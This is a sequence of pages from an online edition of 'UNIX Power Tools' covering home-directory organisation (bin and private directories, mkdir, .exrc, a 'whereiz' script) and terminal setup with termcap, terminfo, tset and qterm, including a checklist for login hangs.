  1. For instance, to make a bin under your home directory, type:

    % cd
% mkdir bin

  2. Once you have a directory for storing programs, be sure that the shell can find the programs in it. Type the command echo $PATH and look for the directory's pathname. For instance, if your directory is called /u/walt/bin, you should see:

    % echo $PATH
...:/u/walt/bin:...

    If the directory isn't in your PATH, add it (8.7).

  3. Finally, if other people are sharing the directory, use a command like chmod go+rx bin (22.7) to give them access.

When you add a new program to your bin directory, if you use the C shell, you need to use the shell's rehash command. That's because the C shell doesn't search your path directly but instead uses a hash table to find the commands more quickly.

- JP

Previous: 4.1 What? Me, Organized? | UNIX Power Tools | Next: 4.3 Organizing Nonexecutable Scripts
4.1 What? Me, Organized? | Book Index | 4.3 Organizing Nonexecutable Scripts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.3 Organizing Nonexecutable Scripts

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.2 A bin Directory for Your Programs and Scripts Chapter 4
Organizing Your Home Directory 		Next: 4.4 Directories for Emacs Hacks

4.3 Organizing Nonexecutable Scripts

Most UNIX users put their own shell scripts and compiled binary programs in a subdirectory called bin (4.2), within their home directory. But what about other kinds of scripts, which aren't executable, but which might be handy to re-use?

For example, I use sed (34.24) for many complex editing tasks. I could run sed from a shell script to make the whole command executable, but more often than not, I just use the runsed (34.3) script, which looks for a file in the current directory called sedscr.

I keep my various sed scripts in a subdirectory of my home directory called sedlib, and then simply copy or link (18.3) them to sedscr whenever I want to use them with runsed.

- TOR

Previous: 4.2 A bin Directory for Your Programs and Scripts | UNIX Power Tools | Next: 4.4 Directories for Emacs Hacks
4.2 A bin Directory for Your Programs and Scripts | Book Index | 4.4 Directories for Emacs Hacks
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.4 Directories for Emacs Hacks

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.3 Organizing Nonexecutable Scripts Chapter 4
Organizing Your Home Directory 		Next: 4.5 Private (Personal) Directories

4.4 Directories for Emacs Hacks

If you use any Emacs (32.1) editor (GNU Emacs or any of the commercial alternatives), you may have written lots of handy LISP programs for use while you're editing. It's convenient to create a separate directory for these; a good name for this directory is (obviously) emacs; it's usually located in your home directory.

If you use GNU Emacs, you should put the following line in the .emacs file:

(setq load-path (append load-path '("your-emacs-directory")))

This tells Emacs that it should look in your personal Emacs directory to find your programs. (It's similar to the PATH (6.4) environment variable.)

- ML

Previous: 4.3 Organizing Nonexecutable Scripts | UNIX Power Tools | Next: 4.5 Private (Personal) Directories
4.3 Organizing Nonexecutable Scripts | Book Index | 4.5 Private (Personal) Directories
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.5 Private (Personal) Directories

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.4 Directories for Emacs Hacks Chapter 4
Organizing Your Home Directory 		Next: 4.6 Naming Files

4.5 Private (Personal) Directories

You might want to create a private directory for your personal files: love letters, financial data, complaints about your boss, off-color jokes, or whatever you want to keep there. Call it anything you want, but private is a good name. [I usually give my private directories names that don't imply they're private. -JP ] Once you've created a private directory, you should set its file access mode (22.2) to 700; this means that you're the only person allowed to read, write, or even list the files that are in the directory. Here's how:

% mkdir private
% chmod 700 private

On any UNIX system, anyone who knows the root password can become superuser and read any files he or she wants. So a private personal directory doesn't give you complete protection by any means - especially since, on many UNIX systems, most users know the root password. But it does keep prying eyes away. If you really need security, you can always encrypt (22.17) your files.

- ML

Previous: 4.4 Directories for Emacs Hacks | UNIX Power Tools | Next: 4.6 Naming Files
4.4 Directories for Emacs Hacks | Book Index | 4.6 Naming Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.6 Naming Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.5 Private (Personal) Directories Chapter 4
Organizing Your Home Directory 		Next: 4.7 Make More Directories!

4.6 Naming Files

Let's think about a filing cabinet again. If the files in your filing cabinet were called letter1, letter2, letter3, and so on, you'd never be able to find anything.

The same is true on your computer. You should come up with a descriptive name for each file to create. UNIX systems let you have very long filenames. A few systems have a 14-character limit, but most allow names that are 256 characters long - certainly longer than you will ever need.

I can't tell you how to make a filename descriptive, except to suggest that rather than using names like letter, you make a filename that describes what the letter is about. In the case of a letter, using the recipient's name may help - assuming that you can easily make a connection between john_shmoe and "that's the letter about trends in gold prices" (though I'd suggest that the name gold_price_trends_oct is an even better name than john_shmoe). Bruce Barnett has suggested that, by using long filenames, you can create a simple "relational database." For example, you could find out everything you've recorded about the price of gold with a command like more *gold*price*. Of course, this doesn't provide the fancy features that a commercial database would have - but you may not need those features and, if so, why spend good money to buy them?

Similarly, if you're a programmer, the name of each file in your program should describe what the code does. If the code diagonalizes matrices, the file should be called something like diag_mat.c. If the code reads input from bank tellers, it should be called something like teller_input.c.

Another way to distinguish between different kinds of files is by using suffixes or filename extensions (1.17).

- ML

Previous: 4.5 Private (Personal) Directories | UNIX Power Tools | Next: 4.7 Make More Directories!
4.5 Private (Personal) Directories | Book Index | 4.7 Make More Directories!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.7 Make More Directories!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.6 Naming Files Chapter 4
Organizing Your Home Directory 		Next: 4.8 Making Directories Made Easier

4.7 Make More Directories!

Creating many directories has several advantages:

  • First, it is easier to find any particular file if your home directory is well-sorted. Imagine a rack of filing cabinets that isn't sorted; people just insert files wherever they fit. You may as well throw your data out; when you need something, you'll never be able to find it.

  • Second, UNIX can access files much faster when directories are relatively small. Ideally, directories should have at most 60 (or so) files in them.

  • Third, directories are an important part of UNIX file protection (22.1). You can use directories to help protect certain files against access by others.

Make directories liberally! Make a new directory for every new project you start; make subdirectories within these directories for subtopics. Your home directory should ideally contain nothing but subdirectories. Here are some recommended conventions:

  • If you're a programmer, create a new directory for each project. For example, create a directory called src for source files, a directory called doc or man for documentation, a directory called obj for object files, a directory called rel for the current working version (or almost-working version) of the program, a directory called test for test files and results, and so on. If the program is large, your src directory (and your obj directory) should also be split into different subdirectories, each containing different parts of the project.

  • It's a good idea to put all personal files (as opposed to work files) in a directory that can be protected against snoopers. See article 4.5.

  • Many users save all of their mail (1.33) in one directory (often called Mail), which is then divided into subdirectories by topic. I use a variation of this scheme; I keep general mail in my Mail directory, but I save correspondence about particular projects with the project itself. For example, my Power Tools mail is shelved with the source code for this article.

Article 4.8 shows some quick ways to make directories.

- ML

Previous: 4.6 Naming Files | UNIX Power Tools | Next: 4.8 Making Directories Made Easier
4.6 Naming Files | Book Index | 4.8 Making Directories Made Easier
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.8 Making Directories Made Easier

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.7 Make More Directories! Chapter 4
Organizing Your Home Directory 		Next: 4.9 Setting Up vi with the .exrc File

4.8 Making Directories Made Easier

In article 4.7, we told you that you should have lots of directories. Experienced UNIX users are creating new directories all the time. How do you make a directory?

It's easy. Use the mkdir command, followed by the name of your new directory:

% mkdir directory

This creates the new directory you want. It doesn't necessarily have to be in your current directory. For example:

% cd /home/los/mikel
% mkdir /src/books/power/articles/files

The only requirements are:

  • The parent of the directory you want to create must exist (in this case, /src/books/power/articles).

  • You must have write access to the parent directory.

mkdir
What if the parent directory doesn't already exist? Assume, for example, that /src/books already exists, but the power and articles directories don't. You can make these "by hand," or (on many UNIX systems, and with the GNU version on the CD-ROM) you can add the -p (parents) option:

% mkdir -p /src/books/power/articles/files

This tells mkdir to create all the intermediate directories that are needed. So the above command creates three directories:

  1. /src/books/power

  2. /src/books/power/articles

  3. /src/books/power/articles/files

[If your mkdir doesn't have -p, you can use csh or bash history (11.2):

% mkdir /src/books/power
% !!/articles
mkdir /src/books/power/articles
% !!/files
mkdir /src/books/power/articles/files

That's almost as quick. -JP ]

If you are using System V, you can also supply the "file protection mode" to be assigned to the directory. (By default, the file protection mode is derived from your umask (22.4).) To do so, use the -m option. For example:

% mkdir -m 755 /src/books/power/articles/files

This creates the directory with access mode 755, which allows the owner to do anything with the directory. Note that this must be a numeric mode; see article 22.1 for an introduction to file and directory protection.

- ML

Previous: 4.7 Make More Directories! | UNIX Power Tools | Next: 4.9 Setting Up vi with the .exrc File
4.7 Make More Directories! | Book Index | 4.9 Setting Up vi with the .exrc File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.9 Setting Up vi with the .exrc File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.8 Making Directories Made Easier Chapter 4
Organizing Your Home Directory 		Next: 4.10 Find All Command Versions with whereiz

4.9 Setting Up vi with the .exrc File

You can store commands and settings that you want executed any time you start the vi or ex editors (30.2) in a file called .exrc in your home directory. You can modify the .exrc file with the vi editor, just as you can any other text file.

If you don't yet have an .exrc file, simply use vi to create one. Enter into this file the set, ab (30.31), and map (31.2) commands that you want to have in effect whenever you use vi or ex. A sample .exrc file looks like this:

set nowrapscan wrapmargin=7
set sections=SeAhBhChDh nomesg
map q :w^M:n^M
" To swap two words, put cursor at start of first word and type v:
map v dwElp
ab ORA O'Reilly & Associates, Inc.

The ^M characters are RETURNs. Make them by pressing CTRL-v, then RETURN (31.6). Lines that start with a double quote (") are comments. Since the file is actually read by ex before it enters vi, commands in .exrc should not have a preceding colon.

In addition to reading the .exrc file in your home directory, vi will read a file called .exrc in the current directory. This allows you to set options that are appropriateto a particular project . (30.6)

If your .exrc file doesn't seem to be working, watch carefully for error messages just as vi starts, before it clears your screen. If you can't read them quickly enough, start ex instead of vi. The q! command quits ex:

% ex
No tail recursion
:q!

The tricks in article 42.8 may also be useful.

- TOR from O'Reilly & Associates' Learning the vi Editor, Chapter 7

Previous: 4.8 Making Directories Made Easier | UNIX Power Tools | Next: 4.10 Find All Command Versions with whereiz
4.8 Making Directories Made Easier | Book Index | 4.10 Find All Command Versions with whereiz
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 4] 4.10 Find All Command Versions with whereiz

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.9 Setting Up vi with the .exrc File Chapter 4
Organizing Your Home Directory 		Next: 5. Setting Up Your Terminal

4.10 Find All Command Versions with whereiz

To get the absolute pathname of a command, Korn shell users can run whence. bash users have type. On other shells, use which (50.8). But those will only show the first directory in your PATH (6.4) with that command. If you want to find other commands with the same name in other directories, the standard which won't show them to you. (The which on the CD-ROM will - if you use its - a option. So will the bash command type -all.) whereiz will:

% which grep
/usr/bin/grep
% whereiz grep
/usr/bin/grep /usr/5bin/grep

On my system, the /usr/bin directory holds a Berkeley-like version of a command. The /usr/5bin directory holds System V versions. /usr/bin is first in my path, but it's good to know if there's also a System V version. whereiz also lets you see if there are both local and system versions of the same command in your path.

Here's the script. The name ends in a z because many UNIX versions already have a whereis (50.5) command.

&&

#! /bin/sh

# COMMAND THAT TESTS FOR EXECUTABLE FILES... SYSTEM-DEPENDENT:
testx="test -x"

# REPLACE NULL FIELD IN $PATH WITH A .
fixpath="`echo $PATH | sed \
    -e 's/^:/.:/' \
    -e 's/::/:.:/g' \
    -e 's/:$/:./'`"

IFS=":  "       # SET $IFS (COLON, SPACE, TAB) FOR PARSING $PATH
for command
do
    where=""            # ZERO OUT $where

    # IF DIRECTORY HAS EXECUTABLE FILE, ADD IT TO LIST:
    for direc in $fixpath
    do $testx $direc/$command && where="$where $direc/$command"
    done

    case "$where" in
    ?*) echo $where ;;  # IF CONTAINS SOMETHING, OUTPUT IT
    esac
done

The sed (34.24) command "fixes" your PATH. It replaces a null directory name (:: in the middle of the PATH or a single : at the start or end of the PATH), which stands for the current directory. The null member is changed to the relative pathname for the current directory, a dot (1.21), so the direc shell variable in the loop won't be empty. In line 12, the double quotes ("") have colon, space, and tab characters between them. This sets the IFS (35.21) variable to split the "fixed" search path, at the colon characters, into separate directories during the for loop (44.16). That's a useful way to handle any colon-separated list.

- JP

Previous: 4.9 Setting Up vi with the .exrc File | UNIX Power Tools | Next: 5. Setting Up Your Terminal
4.9 Setting Up vi with the .exrc File | Book Index | 5. Setting Up Your Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] Setting Up Your Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 4.10 Find All Command Versions with whereiz Chapter 5 Next: 5.2 The Idea of a Terminal Database

5. Setting Up Your Terminal

Contents:
There's a Lot to Know About Terminals
The Idea of a Terminal Database
Setting the Terminal Type When You Log In
Setting the TERMCAP Variable with tset
Querying Your Terminal Type: qterm
Checklist: Terminal Hangs When I Log In
What termcap and terminfo Do and Don't Control
Terminal Escape Sequences
Setting Your Erase, Kill, and Interrupt Characters
Finding What Terminal Names You Can Use
Initializing the Terminal with tset
Initializing the Terminal with tput

5.1 There's a Lot to Know About Terminals

This is one of three chapters about terminal setup. It covers most of what you need to know to set up your terminal from your shell setup files (2.2).

Chapter 41, Terminal and Serial Line Settings, Terminal and Serial Line Settings, goes into terminals in a little more depth, giving background concepts and some more specialized tips.

Chapter 42, Problems with Terminals, Problems with Terminals, deals with the many problems that can occur - many of them seeming inexplicable to the novice - and gives some hints about what to do about them.

- TOR

Previous: 4.10 Find All Command Versions with whereiz | UNIX Power Tools | Next: 5.2 The Idea of a Terminal Database
4.10 Find All Command Versions with whereiz | Book Index | 5.2 The Idea of a Terminal Database
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.2 The Idea of a Terminal Database

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.1 There's a Lot to Know About Terminals Chapter 5
Setting Up Your Terminal 		Next: 5.3 Setting the Terminal Type When You Log In

5.2 The Idea of a Terminal Database

Terminals differ. Manufacturers produce a variety of terminals, each one including a particular set of features for a certain price. There are new terminals and old, smart terminals and dumb ones, terminals with big screens and terminals with small screens, printing terminals and video displays, and terminals with all sorts of special features.

Differences between terminals do not matter much to programs like cat (25.2) or who (51.4) that use the terminal screen as a sort of typewriter with an endless scroll of paper. These programs produce sequential output and do not make use of the terminal's special features; they do not need to know much to do their job. Only programs such as screen editors, which make use of screen-handling features, need to know about differences between terminals.

In the late 1970s, Bill Joy created the vi (30.2) text editor at U.C. Berkeley. Like all screen-oriented editors, vi uses the terminal screen non-sequentially. A program performing non-sequential output does not just print character after character, but must manipulate the text that was sent before, scroll the page, move the cursor, delete lines, insert characters, and more. While it would be possible to keep redrawing the screen in its entirety, many features are provided in hardware or firmware by the terminal itself, and save too much time and trouble to be ignored.

The first version of vi was written specifically for Lear Siegler ADM3a terminals. vi was such an improvement over line-oriented editors that there was great demand to port vi to other brands of terminals. The problem was that each terminal had different features and used different control codes to manipulate the features that they did have in common.

Rather than write separate terminal drivers (42.1) for each terminal type, Bill Joy did something very clever, which all UNIX users now take for granted. He wrote a version of vi with generic commands to manipulate the screen instead of hardcoding the control codes and dimensions for a particular terminal.

The generic terminal-handling mechanism Joy came up with had two parts: a database describing the capabilities of each of the terminals to be supported, and a subroutine library that allows programs to query that database and to make use of the capability values it contains. Both the library and the database were given the name termcap, which is short for terminal capabilities.

At this point, users take for granted the fact that you can use just about any terminal with a UNIX system and use screen-oriented programs like vi without any problem. But it is really quite remarkable!

The termcap database is contained in a single text file, which grew quite large over the years to include descriptions of hundreds of different terminals. To improve performance, AT&T later introduced a database called terminfo, which stores terminal descriptions, in compiled form, in a separate file for each terminal.

If a program is designed to use termcap or terminfo, it queries an environment variable called TERM (5.10) to determine the terminal type, then looks up the entry for that terminal in the terminal database, and reads the definition of any capabilities it plans to use into external variables. Programs that use termcap or terminfo range from screen editors like vi and emacs (32.1), which use the complete terminal description, to a program like clear (22.18), which needs to know only one capability (the escape sequence to clear the screen). Other programs include more (25.3), pg, rogue, tset (5.3), ul, and nroff (43.13).

- JS from O'Reilly & Associates' termcap & terminfo, Chapter 1

Previous: 5.1 There's a Lot to Know About Terminals | UNIX Power Tools | Next: 5.3 Setting the Terminal Type When You Log In
5.1 There's a Lot to Know About Terminals | Book Index | 5.3 Setting the Terminal Type When You Log In
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.3 Setting the Terminal Type When You Log In

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.2 The Idea of a Terminal Database Chapter 5
Setting Up Your Terminal 		Next: 5.4 Setting the TERMCAP Variable with tset

5.3 Setting the Terminal Type When You Log In

If you always work at the same terminal, there's no problem with setting the terminal type explicitly in your .login file (2.2):

setenv
setenv TERM vt100

or in your .profile (2.2):

export
TERM=vt100; export TERM

But if, like many UNIX users, you might log in from time to time at different terminals, from home, or on different systems over a network, you need some more intelligent method for setting the terminal type.

It's possible to set up various kinds of tests (2.12) in your shell setup files to do this. But you can also do a surprising amount of terminal type testing with tset, even though it was nominally designed for initializing the terminal (5.11):

  • If no arguments (1.2) are specified and TERM is already set, tset uses the value of TERM to determine the terminal type.

  • If no arguments are specified and TERM is not set, then tset uses the value specified in the system file /etc/ttytype or /etc/ttys (BSD 4.3 and derivatives only).

  • If a terminal type is specified as an argument, that argument is used as the terminal type, regardless of the value of TERM.

  • The -m (map) option allows a fine degree of control in cases where the terminal type may be ambiguous. For example, if you sometimes log in on a dialup line, sometimes over a local area network, and sometimes on a hardwired line, the -m option can be specified to determine which login is currently being used, and the terminal type can be set accordingly.

In the Bourne shell, tset can be used to set the value of TERM as follows:

TERM=`tset - -Q options`; export TERM

(Given the - option, tset prints the value that it determines for the terminal type to standard output (13.1). Otherwise, it initializes the terminal (5.11), but keeps the terminal type to itself. The -Q (quiet) option causes tset to suppress printing of a message it normally prints regarding the values to which it has set the erase and kill characters - a job it does in its alternate role as terminal initializer. The backquotes (9.16) surrounding the tset command cause its output to be interpolated into the command line.)

In the C shell, you should use the eval (8.10) command to capture the output of tset; this will also allow you to set the TERMCAP variable (5.4). (You must also issue the command set noglob, as explained in article 6.9.)

To see what tset can do, consider a case where the terminal's serial line is connected to a dialup modem, through which several different users might be connected, each using a different type of terminal. Accordingly, the default terminal type in /etc/ttytype should be set to dialup. The tset command could then be used in the .login file as follows, with the appropriate terminal type set for each user:

set noglob
eval `tset -s -Q -m 'dialup:vt100'`

This means that if ttytype says dialup, use vt100 as the terminal type. A colon separates the ttytype value and the value to which it is to be mapped. If a user wants to be prompted to be sure, place a question mark after the colon and before the mapped terminal type:

set noglob
eval `tset -s -Q -m 'dialup:?vt100'`

The prompt will look like this:

TERM = (vt100)

If the user presses RETURN, the preferred terminal type will be used. Alternatively, another terminal type could be entered at that time.

You can cause tset to prompt for a terminal type even without testing a generic entry like dialup. Just specify the desired terminal type, preceded by a question mark, after the -m option. For example:

set noglob
eval `tset -s -Q -m '?vt100'`

It is also possible to specify different terminal types for different line speeds. Say, for example, that you normally used a Wyse-50 with a 9600-bps modem when dialing in from home, but used a portable PC with a VT100 terminal emulator and 2400-bps modem when you were on the road. You might then use a tset command like this:

set noglob
eval `tset -s -Q -m 'dialup@2400:vt100' wy50`

Assuming that the type is set in ttytype as dialup, tset will use the type vt100 if at 2400 bps and, if not, will use the type wy50.

[Watch out for the linespeed switches. They don't work on a lot of networked systems - usually, the line speed at the computer's port is higher than the speed at the terminal. The same problem occurs, these days, with dialup modems that use data compression. -JP ] Various symbols can be used for line-speed calculations:

@speed

Means at the specified speed.

<speed

Means less than the specified speed.

>speed

Means greater than the specified speed.

An exclamation point can precede the operator to reverse the sense of the comparison. (For example, !@1200 would mean at any speed other than 1200 bps. In the C shell, you have to type \!@1200 (11.2) instead.)

Multiple -m options can be specified; the first map to be satisfied will be used. If no match is found, a final value specified on the line without a -m option (as in the above example) will be used. If no value is specified, the type in /etc/ttytype will be used.

These changes may not always work; article 42.3 explains why. Article 41.9 has a script for adjusting your terminal.

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 4

Previous: 5.2 The Idea of a Terminal Database | UNIX Power Tools | Next: 5.4 Setting the TERMCAP Variable with tset
5.2 The Idea of a Terminal Database | Book Index | 5.4 Setting the TERMCAP Variable with tset
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.4 Setting the TERMCAP Variable with tset

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.3 Setting the Terminal Type When You Log In Chapter 5
Setting Up Your Terminal 		Next: 5.5 Querying Your Terminal Type: qterm

5.4 Setting the TERMCAP Variable with tset

Warning! For C shell users, tset (5.3) has an even more powerful function. The -s option causes it to send to standard output a series of C shell commands not only to set TERM, but also to set the TERMCAP variable to the actual contents of the termcap entry. This speeds up launch time for programs that use termcap: they no longer need to search through the /etc/termcap file until they find the relevant entry; it is already at hand.

Invoke tset as follows:

eval
set noglob
eval `tset -Q -s other-options-here`

In order to understand what tset is doing, let's take a moment to send its output to the screen (i.e., issue the command without evaluating it):

% tset -Q -s wy50
set noglob;
setenv TERM wy50 ;
setenv TERMCAP 'n9|wy50:li#24:co#80:am:bs:bw:ul:\
:cm=\E=%+\040%+\040:nd=^L:up=^K:do=^J:ho=^^:bt=\EI:\
:cl=^Z:ce=\ET:cd=\EY:al=\EE:dl=\ER:ic=\EQ:dc=\EW:\
:so=\EG4:se=\EGO:sg#1:ue=\EGO:us=\EG8:ug#1\040:\
:me=\E(EGO:mb=\EG2:mp=\E):mh=\EGp:mr=\EG4:mk=\EG1:\
:kl=^H:kr=^L:ku=^K:kd=^J:kh=^^:k1=^A@^M:k2=^AA^M:\
:k3=^AB^M:k4=^AC^M:k5=^AD^M:k6=^AE^M:k7=^AF^M:k8=^AG^M:\
:k9=^AH^M:k0=^AI^M';
unset noglob;

(Article 41.11 explains the format of termcap entries.) The set noglob command (6.9) causes the shell to suspend interpretation of special characters; the presence of these characters in the termcap entry could cause problems. After execution, the shell is reset to its normal state.

Article 42.3 explains a situation where these changes won't work.

- TOR from O'Reilly & Associates' termcap & terminfo, Chapter 4

Previous: 5.3 Setting the Terminal Type When You Log In | UNIX Power Tools | Next: 5.5 Querying Your Terminal Type: qterm
5.3 Setting the Terminal Type When You Log In | Book Index | 5.5 Querying Your Terminal Type: qterm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.5 Querying Your Terminal Type: qterm

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.4 Setting the TERMCAP Variable with tset Chapter 5
Setting Up Your Terminal 		Next: 5.6 Checklist: Terminal Hangs When I Log In

5.5 Querying Your Terminal Type: qterm

tset (5.3) is a powerful tool to use if you often log in at different terminals. You can use tset to prompt you with a default terminal type, giving you the opportunity to specify a new terminal type when you log in:

TERM = (vt100)

A problem with tset, however, is that it requires you to know your terminal type. You might log in at a new terminal and have no idea what to set the terminal type to. Or your terminal might be configured to emulate another terminal type, without your knowledge. New users in particular tend to be confused by the tset prompt.

qterm
As an alternative, try Michael Cooper's qterm program on our Power Tools disc. qterm sends the terminal a test string and determines what sort of terminal you're using based on how the terminal responds. Using qterm, you can make sure you always use the correct terminal type by placing the following line in your .login:

`...`
setenv TERM `qterm`

or in .profile:

TERM=`qterm`;export TERM

The advantage of qterm is that it sets the terminal type without your intervention. You don't need to know what your terminal type is, it just gets set automatically.

qterm works by sending the terminal a query string and returning the terminal type depending on the terminal's response. qterm is configured using a listing of responses and the terminals they correspond to. By default, qterm looks for the listings in a systemwide location, such as /usr/usc/lib/qtermtab or /usr/local/lib/qtermtab. In addition, you can call qterm with the +usrtab option, so that it will look for a file called .qtermtab in your home directory.

The string used to query the terminal is usually ESC Z. The sample qtermtab file distributed with qterm defines the responses several different terminals give for that string:

#
# QtermTab - Query terminal table for qterm.
#
#SendStr ReceiveStr         TermName       FullTermName
#
^[Z     ^[[?1;0c            vt100          Base vt100
^[Z     ^[[?1;1c            vt100          vt100 with STP
^[Z     ^[[?1;2c            vt100          ANSI/VT100 Clone
   ...
^[Z     ^[/K                h29            Zenith z29 in zenith mode
^[Z     ^[/Z                vt52           Generic vt52
^[Z     ^[[0n               vt100          AT&T UNIX PC 7300

If your terminal isn't listed here, you can just add it. To find out your terminal's response to the query string, just echo ESC Z to your terminal and see what the response is. For example, I logged in from my Macintosh terminal emulator at home and found that qterm didn't recognize my terminal type:

% qterm
Terminal NOT recognized - defaults to "vt100".
vt100

qterm defaults to the right terminal description, but I'd still rather define my own entry. I find out my terminal's response to the ESC Z string:

echo
% echo "^[Z"
^[[E;Y|

(Note that ESC prints as ^[.) Then I add the entry to my qterm description file:

^[Z         ^[[E;Y|         vt100       Macintosh terminal emulator

Now when I run qterm, the terminal is recognized:

% qterm
Terminal recognized as vt100 (Macintosh terminal emulator)
vt100

The string Terminal recognized as ... is sent to standard error (13.1); only the terminal type itself is sent to standard output (13.1). So if you use the following command line:

% setenv TERM `qterm`
Terminal recognized as vt100 (Macintosh terminal emulator)

the TERM variable is set correctly:

% echo $TERM
vt100

Now for the caveat: qterm's results are only as accurate as the qtermtab file. Not all terminals respond to the ESC Z string, and you may not be able to find a string that it does respond uniquely to. And some terminals do uncanny imitations of others. For example, I'm currently using an xterm (1.31) window, but qterm thinks I'm using a vt100:

% echo $TERM
xterm
% qterm
Terminal recognized as vt100 (ANSI/VT100 Clone)
vt100

As a hack, you can just edit your .qtermtab file. For example, I could edit my .qtermtab so the ^[[?1;2c response is mapped to xterm:

#^[Z     ^[[?1;2c            vt100          ANSI/VT100 Clone
^[Z     ^[[?1;2c            xterm          xterm window

And then call qterm with the +usrtab command-line option:

setenv TERM `qterm +usrtab`

- LM

Previous: 5.4 Setting the TERMCAP Variable with tset | UNIX Power Tools | Next: 5.6 Checklist: Terminal Hangs When I Log In
5.4 Setting the TERMCAP Variable with tset | Book Index | 5.6 Checklist: Terminal Hangs When I Log In
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.6 Checklist: Terminal Hangs When I Log In

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 5.5 Querying Your Terminal Type: qterm Chapter 5
Setting Up Your Terminal 		Next: 5.7 What termcap and terminfo Do and Don't Control

5.6 Checklist: Terminal Hangs When I Log In

If your terminal seems to "hang" (freeze, lock up) when you log in, here are some things to try:

  • Have an experienced user look at your shell's setup files (2.2). There could be some obvious mistakes that you didn't catch.

  • Log in to another account and use the su stucklogin (22.22) command (if the stuck account uses Bourne-type shells) or the su -f stucklogin command (if the stuck account uses csh or tcsh). Change (cd) to the home directory. Rename the account's setup files so the shell won't see them as you log in.

    If you can log in after that, you know that the problem is with the account's setup files.

  • Set shell debugging (8.17). From another account or as the superuser, start an editor and put the following line at the top of an sh-like setup file (like .profile). It'll tell you whether the .profile is being read at all and where it hangs:

    set -xv

    You'll see each line read from the .profile and the commands executed on the screen. If you don't see anything, then the shell probably didn't read the .profile. C shell users should put this command at the top of .cshrc instead:

    set echo verbose

    Note that on many UNIX systems, the shell won't read its startup files if the files aren't owned by you. You might use ls -l (22.2) to check.

  • Look at the entry in the /etc/passwd file (36.3) for this user. Be sure it has the correct number of fields (separated by :). Also, see if there's another user with the same login name. (If your system has the commands vipw(8) and pwck(8), your system administrator should be using them to edit and check the passwd file. They avoid many of these problems.)

  • Does your account use any directories remotely mounted (by NFS) (1.33)? If the remote host or network is down, and any command in your startup files (especially set path) tries to access those directories, the shell may hang there.

    To fix that problem, su to the account as explained above and take the command or directory name out of your startup file. Or, if this problem happens a lot, the system administrator can mount an NFS filesystem "soft" (instead of the default, "hard") and limit the number of retrys.

  • What looks like a "hang" might also be that you just aren't getting any output to the terminal, for some very weird reason. Then the set -xv wouldn't help you. In that case, try adding this line to the start of the .profile:

    exec > /tmp/sh.out.$$ 2>&1

    If the Bourne shell starts reading the .profile, it'll make a file in /tmp (21.3) called sh.out.nnn with output from the commands and the shell's set -xv.

    There's no command like that for the C shell.

- JP

Previous: 5.5 Querying Your Terminal Type: qterm | UNIX Power Tools | Next: 5.7 What termcap and terminfo Do and Don't Control
5.5 Querying Your Terminal Type: qterm | Book Index | 5.7 What termcap and terminfo Do and Don't Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 5] 5.7 What termcap and terminfo Do and Don't Control

UNIX Power Tools

UNIX Power ToolsSearch this book
